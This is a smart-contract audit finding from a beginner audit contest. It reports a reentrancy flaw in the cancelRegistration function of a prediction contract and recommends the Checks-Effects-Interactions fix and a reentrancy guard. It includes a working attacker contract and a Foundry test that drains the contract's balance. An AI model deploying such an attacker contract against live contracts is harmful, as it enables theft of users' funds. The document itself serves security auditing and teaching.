First Flight #20: The Predicter
First Flight #20
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Re-entrancy attack in cancelRegistration() function

frontrunner

Summary

The cancelRegistration function is vulnerable to a reentrancy attack due to an external call made before updating the contract's state. This allows a malicious actor to re-enter the function and exploit it.

Issues

  1. The function checks if the caller's status is Pending.

  2. It sends Ether to the caller using a low-level call (msg.sender.call{value: entranceFee}("")).

  3. The caller's status is updated to Canceled after the call.Vulnerability Details

Vulnerability Details

Line 3 of the cancelRegistration function as highlighted below shows how an attcker can re-enter the function more than once.

In the current implementation of cancelRegistration:

  1. The function checks if the caller's status is Pending.

  2. If true, it sends Ether to the caller via a low-level call (msg.sender.call{value: entranceFee}("")).

  3. It then updates the caller's status to Canceled.

The issue here is that the call to msg.sender can be exploited by a malicious contract to re-enter the cancelRegistration function before the state is updated, leading to potential multiple withdrawals or other unintended behaviors.

function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
- (bool success, ) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
playersStatus[msg.sender] = Status.Canceled;
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}

Attackers contract

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
​
import {ThePredicter} from "./ThePredicter.sol";
contract AttackPredict {
ThePredicter predictContract;
​
constructor( address _predictContract ){
predictContract = ThePredicter(_predictContract);
}
function attack() private{
predictContract.cancelRegistration();
}
​
receive() external payable {
if(address(predictContract).balance >= 0.04 ether){
attack();
}
}
}

Proof Of code

​
​
function setUp() public {
vm.startPrank(organizer);
scoreBoard = new ScoreBoard();
thePredicter = new ThePredicter(
address(scoreBoard),
0.04 ether,
0.0001 ether
);
attackContract = new AttackPredict(address(thePredicter));
scoreBoard.setThePredicter(address(thePredicter));
vm.stopPrank();
vm.deal(newStranger, 1 ether);
vm.deal(address(attackContract), 1 ether);
}
​
​
function test_cancelRegistration() public {
​
vm.prank(organizer);
scoreBoard.setThePredicter(address(thePredicter));
vm.startPrank(address(attackContract));
​
thePredicter.register{value: 0.04 ether}();
​
assertEq(address(thePredicter).balance, 0.04 ether);
thePredicter.cancelRegistration();
​
vm.stopPrank();
​
assertEq(address(thePredicter).balance, 0);
}

Impact

The impact of this vulnerability is that an attcker can perform a complete sweep of total funds in the predicter contract.

Tools Used

Foundry

Recommendations

To mitigate the reentrancy vulnerability in the cancelRegistration function, the contract should follow the Checks-Effects-Interactions (CEI) pattern. This pattern ensures that state changes occur before any external calls, thus preventing reentrancy attacks

Revised Function

Here is the revised cancelRegistration function following the CEI pattern:

function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
playersStatus[msg.sender] = Status.Canceled; // Effect: update state before interaction
(bool success, ) = msg.sender.call{value: entranceFee}(""); // Interaction: external call
require(success, "Failed to withdraw");
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}
​

Explanation

  1. Check: Verify if the caller's status is Pending.

  2. Effect: Update the state to Canceled before making the external call.

  3. Interaction: Transfer Ether to the caller using a low-level call and check for success.

By following this pattern, the contract ensures that the state change occurs before any external interaction, thereby eliminating the reentrancy risk.

Additional Recommendations

  • Use Reentrancy Guards: Implement a reentrancy guard (e.g., OpenZeppelin’s ReentrancyGuard) to prevent reentrant calls entirely.

Updates

Lead Judging Commences

NightHawK Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in cancelRegistration

Reentrancy of ThePredicter::cancelRegistration allows a maliciour user to drain all funds.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.